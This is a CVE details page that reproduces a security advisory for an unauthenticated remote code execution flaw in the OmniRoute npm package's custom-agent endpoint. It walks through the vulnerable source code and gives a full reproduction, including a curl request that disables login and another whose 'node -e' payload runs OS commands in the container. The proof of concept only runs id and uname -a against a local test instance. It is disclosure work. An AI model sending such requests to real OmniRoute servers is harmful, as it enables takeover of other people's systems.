CVE-2026-88062 — Vulnerability in omniroute — CVE Details
CRITICAL
OmniRoute ACP Custom-Agent Remote Code Execution (RCE)
Published September 10, 2026Updated September 10, 2026Source: osv
Summary
## 2. Summary
`POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled
`binary` and `versionCommand` values. After saving the custom agent, the same request calls
`refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs:
```ts
execFileSync(probe.command, probe.args, ...)
```
The only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the
first token of `versionCommand` matches the request-provided `binary`. Because `binary` is also
attacker-controlled, an attacker can submit:
```json
{
"binary": "node",
"versionCommand": "node -e \"...arbitrary JavaScript...\""
}
```
This executes arbitrary Node.js code inside the server container, and that code can execute OS
commands via `child_process.execSync()`.
When `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the
same time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so
the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.
As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a
single HTTP request.
## 3. Preconditions
The unauthenticated exploit is reachable in either of the following scenarios:
1. The target instance has `requireLogin=false`. This is the primary scenario covered by this
report and by the reproduction steps below.
2. A fresh instance has no management password configured yet. During this bootstrap window,
`/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set
`requireLogin=false` and then call the vulnerable endpoint.
If the instance is in the default `requireLogin=true` state and already has a management password,
exploitation requires a valid management session or management-scoped API key. In that case, the
bug is authenticated RCE rather than the unauthenticated scenario emphasized here.
## 4. Technical Analysis
### 4.1 The Endpoint Accepts User-Controlled Command Fields
`src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`,
`versionCommand`, and `spawnArgs`:
```ts
const customAgentBodySchema = z.object({
action: z.string().optional(),
id: z.string().optional(),
name: z.string().optional(),
binary: z.string().optional(),
versionCommand: z.string().optional(),
providerAlias: z.string().optional(),
spawnArgs: z.array(z.string()).optional(),
protocol: z.enum(["stdio", "http"]).optional(),
});
```
The `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`:
```ts
export async function POST(request: Request) {
if (!(await isAuthenticated(request))) {
return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
}
```
The handler then stores `binary` and `versionCommand` in the custom agent definition without an
executable allowlist:
```ts
const newAgent: CustomAgentDef = {
id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"),
name,
binary,
versionCommand,
providerAlias: providerAlias || id,
spawnArgs: spawnArgs || [],
protocol: protocol || "stdio",
};
```
This logic is in `src/app/api/acp/agents/route.ts:92-100`.
### 4.2 The Only Guard Is a Self-Consistency Check
The only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`:
```ts
if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {
return NextResponse.json(
{ error: "Invalid versionCommand: use the configured binary with plain arguments only" },
{ status: 400 }
);
}
```
The core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`:
```ts
export function resolveVersionProbe(
binary: string,
versionCommand: string,
requireBinaryMatch = false
): { command: string; args: string[] } | null {
const tokens = tokenizeVersionCommand(versionCommand);
if (!tokens) {
return null;
}
const [command, ...args] = tokens;
if (!command) {
return null;
}
if (requireBinaryMatch) {
const normalizedCommand = normalizeCommandToken(command);
const allowed = new Set([
normalizeCommandToken(binary),
normalizeCommandToken(path.basename(binary)),
]);
if (!allowed.has(normalizedCommand)) {
return null;
}
}
return { command, args };
}
```
This check only requires the first token of `versionCommand` to equal `binary` or
`path.basename(binary)`. Since `binary` is also attacker-controlled, `binary="node"` and
`versionCommand="node -e \"...\""` pass validation.
`tokenizeVersionCommand()` only blocks a small set of shell metacharacters
(`src/lib/acp/registry.ts:183-254`):
```ts
const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/;
```
This does not prevent `node -e` code execution, because characters needed for the payload, such as
`(`, `)`, `'`, `.`, `/`, `,`, and spaces, are allowed.
### 4.3 The Same Request Immediately Triggers Command Execution
After saving the custom agent, the route calls `refreshAgentCache()` at
`src/app/api/acp/agents/route.ts:121-127`:
```ts
const updated = [...current, newAgent];
await updateSettings({ customAgents: updated });
setCustomAgents(updated);
const agents = refreshAgentCache();
return NextResponse.json({ agents, added: newAgent });
```
`refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`:
```ts
export function refreshAgentCache(): CliAgentInfo[] {
_cachedAgents = null;
return detectInstalledAgents();
}
```
`detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one
(`src/lib/acp/registry.ts:342-360`):
```ts
const allDefs = [
...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })),
..._customAgentDefs.map((d) => ({ ...d, _custom: true })),
];
_cachedAgents = allDefs.map((def) => {
const { _custom, ...rest } = def;
return detectAgent(rest, _custom);
});
```
The command execution sink is at `src/lib/acp/registry.ts:307-325`:
```ts
const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);
if (!probe) {
return { ...def, version, installed, isCustom };
}
const output = execFileSync(probe.command, probe.args, {
timeout: 5000,
encoding: "utf-8",
stdio: ["pipe", "pipe", "pipe"],
...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),
}).trim();
```
On Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms
(`src/lib/acp/registry.ts:290-301`):
```ts
export function shouldUseShellForVersionProbe(
command: string,
platform = process.platform
): boolean {
if (platform !== "win32") return false;
...
}
```
Therefore the effective execution is `execFileSync("node", ["-e", "..."])`. No shell
metacharacters are required.
### 4.4 Why This Is Unauthenticated
`isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`:
```ts
export async function isAuthenticated(request: Request): Promise<boolean> {
if (!(await isAuthRequired(request))) {
return true;
}
...
}
```
`isAuthRequired()` returns `false` when `requireLogin=false`
(`src/shared/utils/apiAuth.ts:317-323`):
```ts
const settings = await getSettings();
if (settings.requireLogin === false) return false;
```
The centralized management policy also has the same anonymous allow branch at
`src/server/authz/policies/management.ts:223-226`:
```ts
if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) {
return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" });
}
```
Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.
`src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`,
`/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but
it does not include `/api/acp/`:
```ts
export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [
"/api/mcp/",
"/api/cli-tools/runtime/",
"/api/services/",
"/dashboard/providers/services/",
"/api/copilot/",
"/api/tools/agent-bridge/",
"/api/tools/traffic-inspector/",
"/api/plugins/",
"/api/plugins",
"/api/system/version",
"/api/db-backups/exportAll",
"/api/local/",
"/api/headroom/start",
"/api/headroom/stop",
"/api/oauth/cursor/auto-import",
];
```
`SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/`
(`src/shared/constants/spawnCapablePrefixes.ts:26-35`).
This means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead
of being rejected by the LOCAL_ONLY gate.
## 5. Reproduction Environment
The issue can be reproduced in a local Docker environment:
- OmniRoute image: `diegosouzapw/omniroute:latest`
- Exposed port: `20128`
- Container data directory: `/app/data`
- PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to
`/app/data/UNAUTH_RCE_PROOF.txt`
## 6. Reproduction Steps
### 6.1 Start a Test Instance
```bash
JWT=$(openssl rand -base64 48)
AKS=$(openssl rand -hex 32)
docker network create omniroute-poc-net
docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine
docker run -d --name omniroute-poc --network omniroute-poc-net \
-p 20128:20128 -p 20129:20129 \
-e JWT_SECRET="$JWT" \
-e API_KEY_SECRET="$AKS" \
-e REDIS_URL="redis://omniroute-poc-redis:6379" \
diegosouzapw/omniroute:latest
```
Wait for startup:
```bash
until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \
curl -sf http://localhost:20128/ >/dev/null 2>&1; do
sleep 2
done
```
### 6.2 Put the Instance in the Login-Disabled State
This step models a self-hosted instance where dashboard login has been disabled:
```bash
curl -s -X POST "http://localhost:20128/api/settings/require-login" \
-H "content-type: application/json" \
-d '{"requireLogin":false}'
```
If the target is already in `requireLogin=false`, this step is not needed.
### 6.3 Trigger RCE Anonymously
The following request sends no cookie and no Bearer token:
```bash
curl -s -X POST "http://localhost:20128/api/acp/agents" \
-H "content-type: application/json" \
-d '{
"id":"anonrce",
"name":"anonrce",
"binary":"node",
"protocol":"stdio",
"versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\""
}'
```
### 6.4 Verify Command Execution
```bash
docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt
```
Expected output is similar to:
```text
uid=1000(node) gid=1000(node) groups=1000(node)
Linux <container-id> <kernel-version> ... <arch> GNU/Linux
```
This proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute
container.
<img width="2123" height="1195" alt="image" src="https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f" />
Advisory Timeline
- First published September 10, 2026 (31 days ago).
- Last revised September 10, 2026 — 0 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Ecosystem | Affected | Fixed In |
|---|---|---|---|
| omniroute | npm | All versions | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-306
- CWE-94Code InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
References
Frequently Asked Questions
- What is CVE-2026-88062?
- OmniRoute ACP Custom-Agent Remote Code Execution (RCE) This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
- How do I check if my project is affected by CVE-2026-88062?
- CVE-2026-88062 affects omniroute. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-88062 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
10.0
Exploitation is straightforward and causes maximum impact. Patch immediately.
Also Known As
GHSA-hf57-cqmx-p4gr
Related CVEs
- CVE-2026-107722CRITICAL
fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion
- CVE-2026-108261CRITICAL
TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment
Check if you're affected
Scan your dependencies to see if this vulnerability affects your projects.
Scan Your Dependencies